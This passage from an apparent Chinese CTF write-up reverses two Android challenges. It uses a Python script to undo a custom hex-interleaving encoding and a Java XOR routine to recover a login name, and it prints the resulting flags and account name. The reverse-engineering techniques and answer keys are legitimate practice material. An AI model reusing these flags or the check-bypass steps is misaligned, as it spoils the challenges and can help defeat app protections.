                        String ret = com.example.mobile1.MainActivity.stringFromJNI(tmp, str2);
                        if (ret.substring(0, 10).equals(jni_str1[0])) {
                            jni_finally[0] = jni_true1;
                            Log.d("yyz_1",jni_true1);
                        }
                        if (ret.substring(10, 20).equals(jni_str1[1])) {
                            jni_finally[1] = jni_true2;
                            Log.d("yyz_2",jni_true2);
                        }
                        if (ret.substring(20, 30).equals(jni_str1[2])) {
                            jni_finally[2] = jni_true3;
                            Log.d("yyz_3",jni_true3);
                        }
                    }
                }
            }
        }
        for(int i = 0; i < 3; i++){
            Log.d("yyz_jni_finally",jni_finally[i]);
        }

得到返回值如下:

image-20230601100156045

这样就得到了经过a函数加密之后的字符串为:CV2#67CG6CSF23353F7#7

然后就是对a函数进行逆向

通过这里可以猜测flag的长度为12,14,16位

image-20230601085158821

先看a函数,这里是调用b函数,然后调用b类的a函数,最后调用c函数

image-20230601100253729

b函数就是将输入的字符串转为十六进制数据,然后每个数据用0分开

image-20230601100311990

b类的a函数就是将输入字符串给分割开,其映射关系如下

image-20230601100324895

其中非选中的3为0的转化,上面为str2,下面为str3

将其拼接然后在每两个字符中插入两个0然后传入c函数

image-20230601100338159

c函数就是将00去掉,然后将数字转为字符返回

所以逆向脚本如下:

s = b"CV2#67CG6CSF23353F7#7"
b = ""
for i in s:
    b += (hex(i)[2::])
print(b)
str2 = b[0:len(b)//2]
str3 = b[len(b)//2::]
flag = ""
for i in range(len(str2)):

    if(i % 3 == 0):
        flag += str2[i]
    elif(i % 3 == 1):
        flag += str3[i]
    else:
        flag += str3[i] + str2[i]
print(flag)
for i in range(0,len(flag),2):
    print(chr(eval('0x'+flag[i]+flag[i+1])),end="")

image-20230601100552873

所以flag为:ISCC{Deb2#3e7Ddw&Cu}

KitKat

image-20230601091040068

分析代码

这里是先对用户名进行了加密,密文为:V[+:`5@OM=#&qOQU

加密方式就是简单的异或

public static void main(String[] args) {
    String encryptedString = "V[+:`5@OM=#&qOQU";
    byte[] key = {123, -83, 46, 105, 63, 66, -111, 117, -126, -15, 106, 23, -16};

    byte[] encryptedBytes = encryptedString.getBytes();
    byte[] decryptedBytes = new byte[encryptedBytes.length];

    for (int i = 0; i < encryptedBytes.length; i++) {
        decryptedBytes[i] = (byte) (encryptedBytes[i] ^ key[i % key.length]);
    }

    String decryptedString = new String(decryptedBytes);
    System.out.println("Decrypted string: " + decryptedString);
}

得到账号为:BAI2021090801

然后分析so文件的函数

image-20230601092321886

找到加密函数

经过分析得到密码

最后程序中过掉判断即可得解

flag{cb3516da155b64b0a4139d5339190c3c}

上一篇
下一篇